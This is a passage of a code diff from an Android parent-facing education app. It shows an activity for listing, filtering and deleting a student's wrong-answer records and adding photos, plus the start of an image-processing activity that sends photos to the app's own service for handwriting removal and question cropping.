32 | import com.hjx.parent.adapter.LoadMoreOnScrollListener; | ||
33 | import com.hjx.parent.bean.StudentBean; | ||
34 | import com.hjx.parent.databinding.ActivityErrorListBinding; | ||
35 | import com.hjx.parent.dialog.ErrorEditDialog; | ||
36 | import com.hjx.parent.dialog.TipDialog; | ||
37 | import com.prws.common.bean.GradeAndSubject; | ||
38 | import com.prws.common.bean.PageInfo; | ||
39 | import com.prws.common.bean.ResponseResult; | ||
40 | import com.prws.common.bean.Subject; | ||
41 | import com.prws.common.bean.TopicBean; | ||
42 | import com.prws.common.net.NetWorks; | ||
43 | import com.prws.common.utils.BitmapUtils; | ||
44 | import com.prws.common.utils.CommonUtil; | ||
45 | import com.prws.common.utils.SharedPreferencesUtil; | ||
46 | import com.prws.common.utils.dialog.MyButtomDialog; | ||
47 | import com.zhangteng.imagepicker.bean.ImageInfo; | ||
48 | import com.zhangteng.imagepicker.config.ImagePickerConfig; | ||
49 | import com.zhangteng.imagepicker.config.ImagePickerEnum; | ||
50 | import com.zhangteng.imagepicker.config.ImagePickerOpen; | ||
51 | import com.zhangteng.imagepicker.imageloader.GlideImageLoader; | ||
52 | import com.zhangteng.utils.IHandlerCallBack; | ||
53 | |||
54 | import java.io.File; | ||
55 | import java.util.ArrayList; | ||
56 | import java.util.HashMap; | ||
57 | import java.util.List; | ||
58 | import java.util.Map; | ||
59 | |||
60 | import io.reactivex.Observer; | ||
61 | import io.reactivex.disposables.Disposable; | ||
62 | |||
63 | public class ErrorListActivity extends BaseActivity<ActivityErrorListBinding> implements View.OnClickListener { | ||
64 | private TextView last; | ||
65 | private String subject; | ||
66 | private String grade; | ||
67 | private String manger; | ||
68 | private String type = "全部"; | ||
69 | private String time = "全部"; | ||
70 | private FilterAdapter filterAdapter; | ||
71 | StudentBean studentBean; | ||
72 | private int page = 1; | ||
73 | private ErrorAdapter adapter; | ||
74 | private int total; | ||
75 | private int REQUEST_CODE_IMAGE = 123; | ||
76 | private String filePath; | ||
77 | |||
78 | @Override | ||
79 | public void initView(Bundle savedInstanceState) { | ||
80 | String student = (String) SharedPreferencesUtil.getData("student", ""); | ||
81 | try { | ||
82 | studentBean = new Gson().fromJson(student, StudentBean.class); | ||
83 | } catch (Exception e) { | ||
84 | |||
85 | } | ||
86 | binding.ivBack.setOnClickListener(this); | ||
87 | binding.tvFilterGrade.setOnClickListener(this); | ||
88 | binding.tvFilterSubject.setOnClickListener(this); | ||
89 | binding.tvFilterMore.setOnClickListener(this); | ||
90 | binding.tvFilterManage.setOnClickListener(this); | ||
91 | binding.tvEdit.setOnClickListener(this); | ||
92 | binding.tvAdd.setOnClickListener(this); | ||
93 | binding.llDelete.setOnClickListener(this); | ||
94 | binding.tvSave.setOnClickListener(this); | ||
95 | binding.checkbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { | ||
96 | @Override | ||
97 | public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { | ||
98 | adapter.checkAll(isChecked); | ||
99 | } | ||
100 | }); | ||
101 | RadioButton timeButton = (RadioButton) binding.groupTime.getChildAt(3); | ||
102 | timeButton.setChecked(true); | ||
103 | binding.groupTime.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { | ||
104 | @Override | ||
105 | public void onCheckedChanged(RadioGroup group, int checkedId) { | ||
106 | RadioButton rcheck = (RadioButton) findViewById(checkedId); | ||
107 | time = rcheck.getText().toString(); | ||
108 | refreshError(); | ||
109 | } | ||
110 | }); | ||
111 | |||
112 | RadioButton typeButton = (RadioButton) binding.groupType.getChildAt(2); | ||
113 | typeButton.setChecked(true); | ||
114 | binding.groupType.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() { | ||
115 | @Override | ||
116 | public void onCheckedChanged(RadioGroup group, int checkedId) { | ||
117 | RadioButton rcheck = (RadioButton) findViewById(checkedId); | ||
118 | type = rcheck.getText().toString(); | ||
119 | refreshError(); | ||
120 | } | ||
121 | }); | ||
122 | refreshError(); | ||
123 | } | ||
124 | |||
125 | @Override | ||
126 | protected ActivityErrorListBinding getViewBinding() { | ||
127 | return ActivityErrorListBinding.inflate(getLayoutInflater()); | ||
128 | } | ||
129 | |||
130 | @Override | ||
131 | public void onClick(View v) { | ||
132 | switch (v.getId()) { | ||
133 | case R.id.iv_back: | ||
134 | finish(); | ||
135 | break; | ||
136 | case R.id.tv_filter_grade: | ||
137 | List<String> grades = new ArrayList<>(); | ||
138 | for (GradeAndSubject gradeAndSubject : App.getInstance().getGradeAndSubjects()) { | ||
139 | grades.add(gradeAndSubject.getGrade().getGrade()); | ||
140 | } | ||
141 | grades.add("全部"); | ||
142 | setFilterAdapter(grades, binding.tvFilterGrade, grade); | ||
143 | break; | ||
144 | case R.id.tv_filter_subject: | ||
145 | List<String> subjects = new ArrayList<>(); | ||
146 | for (GradeAndSubject gradeAndSubject : App.getInstance().getGradeAndSubjects()) { | ||
147 | for (Subject subject : gradeAndSubject.getSubjects()) { | ||
148 | if (!subjects.contains(subject.getSubject())) { | ||
149 | subjects.add(subject.getSubject()); | ||
150 | } | ||
151 | } | ||
152 | } | ||
153 | subjects.add("全部"); | ||
154 | setFilterAdapter(subjects, binding.tvFilterSubject, subject); | ||
155 | break; | ||
156 | case R.id.tv_filter_manage: | ||
157 | List<String> manages = new ArrayList<>(); | ||
158 | manages.add("已掌握"); | ||
159 | manages.add("未掌握"); | ||
160 | manages.add("全部"); | ||
161 | setFilterAdapter(manages, binding.tvFilterManage, manger); | ||
162 | break; | ||
163 | case R.id.tv_filter_more: | ||
164 | showFilterMore(); | ||
165 | break; | ||
166 | case R.id.tv_edit: | ||
167 | if (adapter.edit) { | ||
168 | adapter.setEdit(false); | ||
169 | binding.tvSave.setVisibility(View.GONE); | ||
170 | binding.tvAdd.setVisibility(View.VISIBLE); | ||
171 | binding.checkbox.setVisibility(View.GONE); | ||
172 | binding.llDelete.setVisibility(View.GONE); | ||
173 | binding.ivBack.setVisibility(View.VISIBLE); | ||
174 | binding.tvEdit.setText("编辑"); | ||
175 | } else { | ||
176 | adapter.setEdit(true); | ||
177 | binding.tvSave.setVisibility(View.VISIBLE); | ||
178 | binding.tvAdd.setVisibility(View.GONE); | ||
179 | binding.llDelete.setVisibility(View.VISIBLE); | ||
180 | binding.checkbox.setVisibility(View.VISIBLE); | ||
181 | binding.ivBack.setVisibility(View.GONE); | ||
182 | binding.tvEdit.setText("取消"); | ||
183 | } | ||
184 | adapter.notifyDataSetChanged(); | ||
185 | break; | ||
186 | case R.id.ll_delete: | ||
187 | showTipDialog("温馨提示", "确认删除已勾选的错题?", "取消", "确认", new TipDialog.TipDialogInterface() { | ||
188 | @Override | ||
189 | public void onConfirm(Dialog dialog) { | ||
190 | deleteError(adapter.getChecKList()); | ||
191 | dialog.dismiss(); | ||
192 | } | ||
193 | |||
194 | @Override | ||
195 | public void onCancel(Dialog dialog) { | ||
196 | dialog.dismiss(); | ||
197 | } | ||
198 | }); | ||
199 | break; | ||
200 | case R.id.tv_add: | ||
201 | MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog); | ||
202 | View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null); | ||
203 | dialog.setContentView(bottomView); | ||
204 | bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() { | ||
205 | @Override | ||
206 | public void onClick(View view) { | ||
207 | dialog.dismiss(); | ||
208 | Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); | ||
209 | //确保有相机来处理Intent | ||
210 | filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
211 | File photoFile = new File(filePath); | ||
212 | if (photoFile != null) { | ||
213 | //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri | ||
214 | Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile); | ||
215 | takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); | ||
216 | takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri); | ||
217 | activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE); | ||
218 | } | ||
219 | } | ||
220 | }); | ||
221 | bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() { | ||
222 | @Override | ||
223 | public void onClick(View view) { | ||
224 | dialog.dismiss(); | ||
225 | ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器 | ||
226 | .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效) | ||
227 | .multiSelect(true) //是否多选 | ||
228 | .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false | ||
229 | .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型 | ||
230 | .maxImageSelectable(9) //图片可选择数 | ||
231 | .maxHeight(1920) //图片最大高度 | ||
232 | .maxWidth(1920) //图片最大宽度 | ||
233 | .maxImageSize(10) //图片最大大小Mb | ||
234 | .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build(); | ||
235 | ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(ErrorListActivity.this); | ||
236 | |||
237 | } | ||
238 | }); | ||
239 | bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() { | ||
240 | @Override | ||
241 | public void onClick(View view) { | ||
242 | dialog.dismiss(); | ||
243 | } | ||
244 | }); | ||
245 | dialog.show(); | ||
246 | break; | ||
247 | case R.id.tv_save: | ||
248 | if (adapter.getChecKList().size() > 0) { | ||
249 | ErrorEditDialog errorEditDialog = new ErrorEditDialog(context, adapter.getChecKList(), new ErrorEditDialog.EditInterface() { | ||
250 | @Override | ||
251 | public void edit(String s, int i) { | ||
252 | adapter.setEdit(false); | ||
253 | binding.tvSave.setVisibility(View.GONE); | ||
254 | binding.tvAdd.setVisibility(View.VISIBLE); | ||
255 | binding.checkbox.setVisibility(View.GONE); | ||
256 | binding.llDelete.setVisibility(View.GONE); | ||
257 | binding.ivBack.setVisibility(View.VISIBLE); | ||
258 | binding.tvEdit.setText("编辑"); | ||
259 | page = 1; | ||
260 | refreshError(); | ||
261 | } | ||
262 | }); | ||
263 | errorEditDialog.show(); | ||
264 | } | ||
265 | break; | ||
266 | } | ||
267 | } | ||
268 | |||
269 | private void deleteError(List<TopicBean> topicBeans) { | ||
270 | List<String> list = new ArrayList<>(); | ||
271 | for (int i = 0; i < topicBeans.size(); i++) { | ||
272 | list.add(topicBeans.get(i).getId()); | ||
273 | } | ||
274 | NetWorks.deleteError(list, new Observer<ResponseResult>() { | ||
275 | @Override | ||
276 | public void onSubscribe(Disposable d) { | ||
277 | |||
278 | } | ||
279 | |||
280 | @Override | ||
281 | public void onNext(ResponseResult responseResult) { | ||
282 | if (responseResult.getCode() == 200) { | ||
283 | adapter.setEdit(false); | ||
284 | binding.tvSave.setVisibility(View.GONE); | ||
285 | binding.tvAdd.setVisibility(View.VISIBLE); | ||
286 | binding.checkbox.setVisibility(View.GONE); | ||
287 | binding.llDelete.setVisibility(View.GONE); | ||
288 | binding.ivBack.setVisibility(View.VISIBLE); | ||
289 | binding.tvEdit.setText("编辑"); | ||
290 | page = 1; | ||
291 | refreshError(); | ||
292 | } | ||
293 | } | ||
294 | |||
295 | @Override | ||
296 | public void onError(Throwable e) { | ||
297 | |||
298 | } | ||
299 | |||
300 | @Override | ||
301 | public void onComplete() { | ||
302 | |||
303 | } | ||
304 | }); | ||
305 | } | ||
306 | |||
307 | private void showFilterMore() { | ||
308 | binding.recycleFilter.setVisibility(View.GONE); | ||
309 | if (binding.llFilterMore.getVisibility() == View.VISIBLE) { | ||
310 | binding.llFilterMore.setVisibility(View.GONE); | ||
311 | } else { | ||
312 | binding.llFilterMore.setVisibility(View.VISIBLE); | ||
313 | last.setTextColor(getColor(R.color.text_title)); | ||
314 | Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray); | ||
315 | // 这一步必须要做,否则不会显示. | ||
316 | drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
317 | last.setCompoundDrawables(null, null, drawable, null); | ||
318 | binding.tvFilterMore.setTextColor(Color.parseColor("#1C90F3")); | ||
319 | Drawable drawable1 = getResources().getDrawable(R.drawable.ic_filter_blue); | ||
320 | // 这一步必须要做,否则不会显示. | ||
321 | drawable1.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
322 | binding.tvFilterMore.setCompoundDrawables(null, null, drawable1, null); | ||
323 | last = binding.tvFilterMore; | ||
324 | } | ||
325 | } | ||
326 | |||
327 | private void setFilterAdapter(List<String> list, TextView textView, String select) { | ||
328 | if (TextUtils.isEmpty(select)) { | ||
329 | select = "全部"; | ||
330 | } | ||
331 | binding.llFilterMore.setVisibility(View.GONE); | ||
332 | if (last != null && last.getId() == R.id.tv_filter_more) { | ||
333 | last.setTextColor(getColor(R.color.text_title)); | ||
334 | Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray); | ||
335 | // 这一步必须要做,否则不会显示. | ||
336 | drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
337 | last.setCompoundDrawables(null, null, drawable, null); | ||
338 | } | ||
339 | if (binding.recycleFilter.getVisibility() == View.GONE) { | ||
340 | if (filterAdapter != null) { | ||
341 | filterAdapter.refresh(list, textView, select); | ||
342 | } else { | ||
343 | filterAdapter = new FilterAdapter(context, new FilterAdapter.Filter() { | ||
344 | @Override | ||
345 | public void onSelect(TextView type, String select) { | ||
346 | switch (type.getId()) { | ||
347 | case R.id.tv_filter_grade: | ||
348 | grade = select; | ||
349 | break; | ||
350 | case R.id.tv_filter_subject: | ||
351 | subject = select; | ||
352 | break; | ||
353 | case R.id.tv_filter_manage: | ||
354 | manger = select; | ||
355 | break; | ||
356 | } | ||
357 | page = 1; | ||
358 | filterAdapter.refresh(select); | ||
359 | refreshError(); | ||
360 | } | ||
361 | }, list, textView, select); | ||
362 | binding.recycleFilter.setLayoutManager(new GridLayoutManager(context, 4, LinearLayoutManager.VERTICAL, false)); | ||
363 | binding.recycleFilter.setAdapter(filterAdapter); | ||
364 | } | ||
365 | binding.recycleFilter.setVisibility(View.VISIBLE); | ||
366 | textView.setTextColor(Color.parseColor("#1C90F3")); | ||
367 | Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_blue); | ||
368 | // 这一步必须要做,否则不会显示. | ||
369 | drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
370 | textView.setCompoundDrawables(null, null, drawable, null); | ||
371 | last = textView; | ||
372 | } else { | ||
373 | if (textView.getId() == last.getId()) { | ||
374 | binding.recycleFilter.setVisibility(View.GONE); | ||
375 | textView.setTextColor(getColor(R.color.text_title)); | ||
376 | Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray); | ||
377 | // 这一步必须要做,否则不会显示. | ||
378 | drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
379 | textView.setCompoundDrawables(null, null, drawable, null); | ||
380 | } else { | ||
381 | filterAdapter.refresh(list, textView, select); | ||
382 | last.setTextColor(getColor(R.color.text_title)); | ||
383 | Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray); | ||
384 | // 这一步必须要做,否则不会显示. | ||
385 | drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
386 | last.setCompoundDrawables(null, null, drawable, null); | ||
387 | textView.setTextColor(Color.parseColor("#1C90F3")); | ||
388 | Drawable drawable1 = getResources().getDrawable(R.drawable.ic_filter_blue); | ||
389 | // 这一步必须要做,否则不会显示. | ||
390 | drawable1.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight()); | ||
391 | textView.setCompoundDrawables(null, null, drawable1, null); | ||
392 | last = textView; | ||
393 | } | ||
394 | } | ||
395 | } | ||
396 | |||
397 | private void refreshError() { | ||
398 | Map map = new HashMap(); | ||
399 | if (!TextUtils.isEmpty(subject) && !"全部".equals(subject)) { | ||
400 | map.put("subject", subject); | ||
401 | } | ||
402 | if (!TextUtils.isEmpty(grade) && !"全部".equals(grade)) { | ||
403 | map.put("grade", grade); | ||
404 | } | ||
405 | if (!TextUtils.isEmpty(time) && !"全部".equals(time)) { | ||
406 | if ("一周内".equals(time)) { | ||
407 | map.put("time", 6); | ||
408 | } else if ("一个月内".equals(time)) { | ||
409 | map.put("time", 30); | ||
410 | } else if ("三个月内".equals(time)) { | ||
411 | map.put("time", 90); | ||
412 | } | ||
413 | } | ||
414 | if (!TextUtils.isEmpty(type) && !"全部".equals(type)) { | ||
415 | map.put("type", "课内".equals(type) ? 0 : 1); | ||
416 | } | ||
417 | if (!TextUtils.isEmpty(manger) && !"全部".equals(manger)) { | ||
418 | map.put("controlFlag", "已掌握".equals(manger) ? 0 : 1); | ||
419 | } | ||
420 | map.put("stuId", studentBean.getStuId()); | ||
421 | map.put("pageSize", 10); | ||
422 | map.put("pageNum", page); | ||
423 | NetWorks.getError(map, new Observer<ResponseResult<PageInfo<TopicBean>>>() { | ||
424 | @Override | ||
425 | public void onSubscribe(Disposable d) { | ||
426 | |||
427 | } | ||
428 | |||
429 | @Override | ||
430 | public void onNext(ResponseResult<PageInfo<TopicBean>> result) { | ||
431 | if (result.getData() != null && result.getCode() == 200) { | ||
432 | total = result.getData().getTotal(); | ||
433 | List<TopicBean> topicBeans = result.getData().getList(); | ||
434 | loadError(topicBeans); | ||
435 | } | ||
436 | } | ||
437 | |||
438 | @Override | ||
439 | public void onError(Throwable e) { | ||
440 | e.toString(); | ||
441 | } | ||
442 | |||
443 | @Override | ||
444 | public void onComplete() { | ||
445 | |||
446 | } | ||
447 | }); | ||
448 | } | ||
449 | |||
450 | private void loadError(List<TopicBean> list) { | ||
451 | if (list.size() > 0) { | ||
452 | binding.recycle.setVisibility(View.VISIBLE); | ||
453 | binding.llEmpty.setVisibility(View.GONE); | ||
454 | if (adapter != null) { | ||
455 | if (page > 1) { | ||
456 | adapter.addData(list); | ||
457 | } else { | ||
458 | adapter.refresh(list); | ||
459 | } | ||
460 | } else { | ||
461 | adapter = new ErrorAdapter(context, list, false, new ErrorAdapter.CheckInterface() { | ||
462 | @Override | ||
463 | public void onErrorCheck() { | ||
464 | if (adapter.getChecKList().size() > 0) { | ||
465 | binding.tvSave.setText("批量修改标签" + "(" + adapter.getChecKList().size() + ")"); | ||
466 | } else { | ||
467 | binding.tvSave.setText("批量修改标签"); | ||
468 | } | ||
469 | } | ||
470 | }); | ||
471 | LinearLayoutManager linearLayoutManager = new LinearLayoutManager(context, LinearLayoutManager.VERTICAL, false); | ||
472 | binding.recycle.setLayoutManager(linearLayoutManager); | ||
473 | binding.recycle.setAdapter(adapter); | ||
474 | binding.recycle.addOnScrollListener(new LoadMoreOnScrollListener(linearLayoutManager) { | ||
475 | @Override | ||
476 | public void onLoadMore(int currentPage) { | ||
477 | if (currentPage > page) { | ||
478 | new Thread(new Runnable() { | ||
479 | @Override | ||
480 | public void run() { | ||
481 | try { | ||
482 | runOnUiThread(new Runnable() { | ||
483 | @Override | ||
484 | public void run() { | ||
485 | if (page * 10 < total) { | ||
486 | page++; | ||
487 | refreshError(); | ||
488 | } | ||
489 | } | ||
490 | }); | ||
491 | } catch (Exception e) { | ||
492 | e.printStackTrace(); | ||
493 | } | ||
494 | } | ||
495 | }).start(); | ||
496 | } | ||
497 | } | ||
498 | }); | ||
499 | } | ||
500 | } else { | ||
501 | if (page == 1) { | ||
502 | binding.recycle.setVisibility(View.GONE); | ||
503 | binding.llEmpty.setVisibility(View.VISIBLE); | ||
504 | } | ||
505 | } | ||
506 | } | ||
507 | |||
508 | @Override | ||
509 | public boolean onKeyDown(int keyCode, KeyEvent event) { | ||
510 | if (keyCode == KeyEvent.KEYCODE_BACK) { | ||
511 | if (adapter != null && adapter.edit) { | ||
512 | adapter.setEdit(false); | ||
513 | binding.tvSave.setVisibility(View.GONE); | ||
514 | binding.tvAdd.setVisibility(View.VISIBLE); | ||
515 | binding.checkbox.setVisibility(View.GONE); | ||
516 | binding.llDelete.setVisibility(View.GONE); | ||
517 | binding.ivBack.setVisibility(View.VISIBLE); | ||
518 | binding.tvEdit.setText("编辑"); | ||
519 | adapter.notifyDataSetChanged(); | ||
520 | } else { | ||
521 | finish(); | ||
522 | } | ||
523 | return true; | ||
524 | } | ||
525 | return super.onKeyDown(keyCode, event); | ||
526 | } | ||
527 | |||
528 | @Override | ||
529 | protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { | ||
530 | super.onActivityResult(requestCode, resultCode, data); | ||
531 | if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) { | ||
532 | Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath)); | ||
533 | String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
534 | CommonUtil.saveBitmapToUri(b, path); | ||
535 | List<String> strings = new ArrayList<>(); | ||
536 | Intent intent = new Intent(context, ImageActivity.class); | ||
537 | strings.add(path); | ||
538 | intent.putStringArrayListExtra("images", (ArrayList<String>) strings); | ||
539 | startActivity(intent); | ||
540 | } | ||
541 | } | ||
542 | |||
543 | public class HandlerCallBack implements IHandlerCallBack<ImageInfo> { | ||
544 | private String TAG = "---ImagePicker---"; | ||
545 | List<ImageInfo> photoList = new ArrayList<>(); | ||
546 | |||
547 | @Override | ||
548 | public void onStart() { | ||
549 | Log.i(TAG, "onStart: 开启"); | ||
550 | } | ||
551 | |||
552 | @Override | ||
553 | public void onSuccess(List<ImageInfo> photoList) { | ||
554 | this.photoList = photoList; | ||
555 | Log.i(TAG, "onSuccess: 返回数据"); | ||
556 | } | ||
557 | |||
558 | @Override | ||
559 | public void onCancel() { | ||
560 | Log.i(TAG, "onCancel: 取消"); | ||
561 | } | ||
562 | |||
563 | @Override | ||
564 | public void onFinish(List<ImageInfo> selectImage) { | ||
565 | if (selectImage.size() == photoList.size()) { | ||
566 | List<String> strings = new ArrayList<>(); | ||
567 | Intent intent = new Intent(context, ImageActivity.class); | ||
568 | for (ImageInfo imageInfo : selectImage) { | ||
569 | strings.add(imageInfo.getPath()); | ||
570 | } | ||
571 | intent.putStringArrayListExtra("images", (ArrayList<String>) strings); | ||
572 | startActivity(intent); | ||
573 | } | ||
574 | } | ||
575 | |||
576 | @Override | ||
577 | public void onError() { | ||
578 | Log.i(TAG, "onError: 出错"); | ||
579 | } | ||
580 | } | ||
581 | |||
582 | @Override | ||
583 | protected void onResume() { | ||
584 | refreshError(); | ||
585 | super.onResume(); | ||
586 | } | ||
587 | } | ||
588 |
app/src/main/java/com/hjx/parent/ImageActivity.java
File was created | 1 | package com.hjx.parent; | |
2 | |||
3 | import android.app.Dialog; | ||
4 | import android.content.Intent; | ||
5 | import android.graphics.Bitmap; | ||
6 | import android.graphics.BitmapFactory; | ||
7 | import android.graphics.Rect; | ||
8 | import android.net.Uri; | ||
9 | import android.os.Bundle; | ||
10 | import android.os.Handler; | ||
11 | import android.provider.MediaStore; | ||
12 | import android.text.TextUtils; | ||
13 | import android.util.Log; | ||
14 | import android.view.KeyEvent; | ||
15 | import android.view.View; | ||
16 | |||
17 | |||
18 | import androidx.annotation.Nullable; | ||
19 | import androidx.core.content.FileProvider; | ||
20 | import androidx.viewpager2.widget.ViewPager2; | ||
21 | |||
22 | import com.google.gson.Gson; | ||
23 | import com.google.gson.JsonObject; | ||
24 | import com.hjx.parent.adapter.ImageAdapter; | ||
25 | import com.hjx.parent.databinding.ActivityImageBinding; | ||
26 | import com.hjx.parent.dialog.ErrorInputDialog; | ||
27 | import com.hjx.parent.dialog.TipDialog; | ||
28 | import com.prws.common.bean.CutPicBean; | ||
29 | import com.prws.common.bean.ImageBean; | ||
30 | import com.prws.common.bean.TopicBean; | ||
31 | import com.prws.common.net.NetWorks; | ||
32 | import com.prws.common.utils.BitmapUtils; | ||
33 | import com.prws.common.utils.CommonUtil; | ||
34 | |||
35 | import java.io.File; | ||
36 | import java.util.ArrayList; | ||
37 | import java.util.List; | ||
38 | |||
39 | import io.reactivex.Observer; | ||
40 | import io.reactivex.disposables.Disposable; | ||
41 | import retrofit2.Call; | ||
42 | import retrofit2.Callback; | ||
43 | import retrofit2.Response; | ||
44 | |||
45 | public class ImageActivity extends BaseActivity<ActivityImageBinding> implements View.OnClickListener { | ||
46 | |||
47 | private List<String> images = new ArrayList<>(); | ||
48 | private ImageAdapter imageAdapter; | ||
49 | private List<ImageBean> list = new ArrayList<>(); | ||
50 | private String filePath; | ||
51 | |||
52 | @Override | ||
53 | public void initView(Bundle savedInstanceState) { | ||
54 | images = getIntent().getStringArrayListExtra("images"); | ||
55 | for (String s : images) { | ||
56 | String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
57 | ImageBean imageBean = new ImageBean(); | ||
58 | Bitmap bitmap = BitmapUtils.getimage(s); | ||
59 | CommonUtil.saveBitmapToUri(bitmap, filepath); | ||
60 | imageBean.setPath(filepath); | ||
61 | list.add(imageBean); | ||
62 | } | ||
63 | imageAdapter = new ImageAdapter(this, list); | ||
64 | binding.viewPager.setAdapter(imageAdapter); | ||
65 | binding.viewPager.registerOnPageChangeCallback(new ViewPager2.OnPageChangeCallback() { | ||
66 | @Override | ||
67 | public void onPageSelected(int position) { | ||
68 | binding.tvTitle.setText((binding.viewPager.getCurrentItem() + 1) + "/" + list.size()); | ||
69 | if (position == 0) { | ||
70 | binding.ivPrevious.setImageResource(R.mipmap.ic_previous_gray); | ||
71 | binding.ivPrevious.setEnabled(false); | ||
72 | } else { | ||
73 | binding.ivPrevious.setImageResource(R.mipmap.ic_previous); | ||
74 | binding.ivPrevious.setEnabled(true); | ||
75 | } | ||
76 | if (position == list.size() - 1) { | ||
77 | binding.ivNext.setImageResource(R.mipmap.ic_next_gray); | ||
78 | binding.ivNext.setEnabled(false); | ||
79 | } else { | ||
80 | binding.ivNext.setImageResource(R.mipmap.ic_next); | ||
81 | binding.ivNext.setEnabled(true); | ||
82 | } | ||
83 | if (list.get(position).getCuts() == null) { | ||
84 | clearText(); | ||
85 | } | ||
86 | super.onPageSelected(position); | ||
87 | } | ||
88 | }); | ||
89 | binding.ivNext.setOnClickListener(this); | ||
90 | binding.ivPrevious.setOnClickListener(this); | ||
91 | binding.ivBack.setOnClickListener(this); | ||
92 | binding.tvPhoto.setOnClickListener(this); | ||
93 | binding.tvAdd.setOnClickListener(this); | ||
94 | binding.llEdit.setOnClickListener(this); | ||
95 | binding.tvSave.setOnClickListener(this); | ||
96 | } | ||
97 | |||
98 | public void clearText() { | ||
99 | int index = binding.viewPager.getCurrentItem(); | ||
100 | showLoadingDialog(getString(R.string.loading_text)); | ||
101 | Log.i("clearText", list.get(index).getPath()); | ||
102 | String base64 = BitmapUtils.imageToBase64(list.get(index).getPath()); | ||
103 | NetWorks.removeWriting(base64, new Observer<JsonObject>() { | ||
104 | @Override | ||
105 | public void onSubscribe(Disposable d) { | ||
106 | |||
107 | } | ||
108 | |||
109 | @Override | ||
110 | public void onNext(JsonObject jsonObject) { | ||
111 | if (jsonObject != null && jsonObject.get("image_processed") != null) { | ||
112 | String image = jsonObject.get("image_processed").getAsString(); | ||
113 | if (image != null) { | ||
114 | String filepath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg"; | ||
115 | CommonUtil.saveBitmapToUri(BitmapUtils.stringToBitmap(image), filepath); | ||
116 | list.get(index).setPath(filepath); | ||
117 | imageAdapter.notifyItemChanged(index); | ||
118 | cut(filepath); | ||
119 | } else { | ||
120 | loadFail("去除字迹失败"); | ||
121 | } | ||
122 | } else { | ||
123 | loadFail("去除字迹失败"); | ||
124 | } | ||
125 | } | ||
126 | |||
127 | @Override | ||
128 | public void onError(Throwable e) { | ||
129 | loadFail("去除字迹失败"); | ||
130 | } | ||
131 | |||
132 | @Override | ||
133 | public void onComplete() { | ||
134 | |||
135 | } | ||
136 | }); | ||
137 | } | ||
138 | |||
139 | public void cut(String path) { | ||
140 | String base64 = BitmapUtils.imageToBase64(path); | ||
141 | Log.i("figLoaction", path); | ||
142 | NetWorks.cut(base64, new Observer<CutPicBean>() { | ||
143 | @Override | ||
144 | public void onSubscribe(Disposable d) { | ||
145 | |||
146 | } | ||
147 | |||
148 | @Override | ||
149 | public void onNext(CutPicBean cutPicBean) { | ||
150 | if (cutPicBean != null) { | ||
151 | if (cutPicBean.getDirection() != 0) { | ||
152 | rotatingImage(cutPicBean); | ||
153 | } else { | ||
154 | if (cutPicBean.getQus_figure() != null && cutPicBean.getQus_figure().size() > 0) { | ||
155 | List<CutPicBean.FigLoaction> figLoactions = new ArrayList<>(); | ||
156 | for (CutPicBean.CutLocation cutLocation : cutPicBean.getQus_figure()) { | ||
157 | figLoactions.add(cutLocation.getFig_location()); | ||
158 | } | ||
159 | new Handler().postDelayed(new Runnable() { | ||
160 | @Override | ||
161 | public void run() { | ||
162 | getRects(figLoactions); | ||
163 | } | ||
164 | }, 1000); | ||
165 | } else { | ||
